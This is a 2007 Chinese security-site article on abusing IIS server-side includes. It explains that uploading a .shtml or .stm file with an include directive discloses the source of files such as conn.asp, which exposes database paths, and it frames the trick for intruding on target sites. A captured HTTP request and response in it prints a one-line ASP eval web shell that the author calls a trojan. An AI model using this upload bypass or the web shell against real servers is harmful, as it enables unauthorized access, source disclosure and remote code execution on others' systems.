| 注意:IIS下另外一个危险的ISAPI扩展 |
|
| 作者:佚名 来源:安全在线
更新时间:2007-8-16 6:24:43 【字体:小
大】 |
|
<%=(int(rnd()*1)+1)%>您当前的位置:中国安全在线cnsafer.com 请进入[技术论坛]发表评论 我们先来看一份关于SSI的介绍: SSI有什么用?
之所以要扯到ssi,是因为shtml--server-parsed HTML 的首字母缩略词。包含有嵌入式服务器方包含命令的 HTML 文本。在被传送给浏览器之前,服务器会对 SHTML 文档进行完全地读取、分析以及修改。
shtml和asp 有一些相似,以shtml命名的文件里,使用了ssi的一些指令,就像asp中的指令,你可以在SHTML文件中写入SSI指令,当客户端访问这些shtml文件时,服务器端会把这些SHTML文件进行读取和解释,把SHTML文件中包含的SSI指令解释出来
比如:你可以在SHTML文件中用SSI指令引用其他的html文件(#include ),服务器传送给客户端的文件,是已经解释的SHTML不会有SSI指令。它实现了HTML所没有的功能,就是可以实现了动态的SHTML,可以说是HTML的一种进化吧。像新浪的新闻系统就是这样的,新闻内容是固定的但它上面的广告和菜单等就是用#include引用进来的。
目前,主要有以下几种用用途:
1、显示服务器端环境变量<#echo>
2、将文本内容直接插入到文档中<#include>
3、显示WEB文档相关信息<#flastmod #fsize> (如文件制作日期/大小等)
4、直接执行服务器上的各种程序<#exec>(如CGI或其他可执行程序)
5、设置SSI信息显示格式<#config>(如文件制作日期/大小显示方式) 高级SSI<XSSI>可设置变量使用if条件语句
大家都知道ISAPI在默认情况下有很多危险的扩展,比如: ASP ASA CER CDX,都可以执行ASP脚本代码 在程序不允许上传这些扩展的情况下我们可以上传一个stm文件或者shtml, 内容为: <!--#include file="conn.asp"--> 直接请求这个stm文件或者shtml文件, conn.asp就一览无遗, 数据库路径也就到手啦!
并且又看了那篇shtml的介绍后,恍然大悟,终于明白了! 原来就是如上所说的, <!--#include file="conn.asp"--> 就是一条SSI指令,其作用是将"conn.asp"的内容拷贝到当前的页面中,当访问者来浏览时,会看到其它HTML文档一样显示conn.asp其中的内容。 我在本地试验成功!在我的iis目录下建了一个test.shtml文件,内容为: <!--#include file="ok.asp"--> 又在同一目录下放了一个我的一个木马文件ok.asp 在浏览器中请求test.shtml,没有什么反映,一片空白。 但是一查看源代码,狂晕,原来就是我的asp文件的内容! 这样我们就可以利用这个来获取要入侵的web的conn文件来获得数据库路径, 但是一个前提是服务器的对stm或者shtml的扩展没有删除,还有一个就是必须开启“在服务端包含文件”WEB服务扩展。
GET /test.shtml HTTP/1.1 Accept: */* Accept-Language: zh-cn UA-CPU: x86 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322) Host: 221.195.40.43 Connection: Keep-Alive
HTTP/1.1 200 OK Date: Tue, 14 Aug 2007 01:57:18 GMT Server: Microsoft-IIS/6.0 Content-Length: 22 Content-Type: text/html
<%eval(request("#"))%>
您对本文章有什么意见或着疑问吗?请到论坛讨论您的关注和建议是我们前行的参考和动力 |
| 文章录入:ls1238 责任编辑:ls1238
|
|
上一篇文章: 史上最强悍网页木马大全--网马反击战
下一篇文章: 没有了 |
| 【字体:小
大】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口】
|